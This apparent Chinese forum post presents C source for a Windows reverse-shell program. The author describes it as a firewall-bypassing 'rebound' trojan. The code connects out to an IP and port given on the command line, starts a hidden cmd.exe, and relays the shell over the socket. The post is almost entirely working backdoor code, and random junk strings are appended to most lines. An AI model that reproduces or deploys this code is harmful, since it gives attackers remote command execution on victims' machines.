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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 R[fQ$` M  
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/* ============================== EM +! ph  
Rebound port in Windows NT hb/Z{T'   
By wind,2006/7 ui|6ih$+  
===============================*/ >TawJ"q-6R  
#include   uk,9N  
#include \_(0V"  
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#pragma comment(lib,"wsock32.lib") 7M5H vG#w%  
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void OutputShell(); Ukf:m&G  
SOCKET sClient; x;~@T9.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V$Oj@vI  
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void main(int argc,char **argv) g}a+%Obb  
{ 48G^$T{  
WSADATA stWsaData; D@[#7:rHL  
int nRet; k+je-%hPj  
SOCKADDR_IN stSaiClient,stSaiServer; (dO0`wfM  
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if(argc != 3) |o(te  
{ dXsL0r*c  
printf("Useage:\n\rRebound DestIP DestPort\n"); UCFFF%  
return; ,kYX|8SO  
} vMn$lT@  
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WSAStartup(MAKEWORD(2,2),&stWsaData); VAyAXN~  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QqBQ[<_  
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stSaiClient.sin_family = AF_INET; }v_|N"@  
stSaiClient.sin_port = htons(0); ^%g 8OP  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bun_R-  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Yc3\  
{ 8+(wAbp  
printf("Bind Socket Failed!\n"); Py+ B 2G|  
return; WUQa2$.  
} Ip8:~Fl]  
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stSaiServer.sin_family = AF_INET; pXh`o20I  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #E<~WpP  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T`<Tj?:^&  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) I,& gKgh  
{ i-dosY`81  
printf("Connect Error!"); w^3S6lK  
return; ?"?AH/ED  
} "tpD ->  
OutputShell(); As tuM]  
} g0;6}n  
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void OutputShell() $h=v ;1"  
{ :inVwc  
char szBuff[1024]; |&bucG=  
SECURITY_ATTRIBUTES stSecurityAttributes; ^ ~Tn[w W_  
OSVERSIONINFO stOsversionInfo;  Sb)}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j4=\MK  
STARTUPINFO stStartupInfo; "#f5jH  
char *szShell; rO/Sj<0^  
PROCESS_INFORMATION stProcessInformation; * $1F|G  
unsigned long lBytesRead; k@[[vj|W  
#}tdA( -  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {!.w}  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); <fMQ#No  
stSecurityAttributes.lpSecurityDescriptor = 0; ps/|^8aGZ  
stSecurityAttributes.bInheritHandle = TRUE; &{q'$oF  
<l+hcYam  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u:wijkx  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nmuU*o L  
X@)'E9g5:  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); m-cw5lW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p}X *HJq$  
stStartupInfo.wShowWindow = SW_HIDE; 7+6I~&x!Lz  
stStartupInfo.hStdInput = hReadPipe; 6hXh;-U  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k6\&[BQs  
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GetVersionEx(&stOsversionInfo); )M7~RN  
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switch(stOsversionInfo.dwPlatformId) z38Pi  
{ #N y+6XM  
case 1: Z 2$S'}F  
szShell = "command.com"; ?dCJv_w  
break; |Fq\%y#  
default: nwDGzC~y<  
szShell = "cmd.exe"; sLK$H|%>m  
break; r -uu`=,  
} 0 r;tI"  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `bd9N !K  
/c7jL4oD  
send(sClient,szMsg,77,0); J*^ i=y  
while(1) N)KN!!  
{ B!)Tytm9u  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Qv8 =CnuOT  
if(lBytesRead) Kzwe36O;?  
{ aHNn!9#1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _+%p!!  
send(sClient,szBuff,lBytesRead,0); =>GGeEL  
} =%b1EY k  
else U1|{7.R  
{ ~cfvL*~5  
lBytesRead=recv(sClient,szBuff,1024,0); :G5O_T$  
if(lBytesRead<=0) break; }0OQm?xh  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aZo>3z;  
} ]BmnE#n&  
} DYgz;Y/%l  
#"[EVF0%1D  
return; G P ' -  
}
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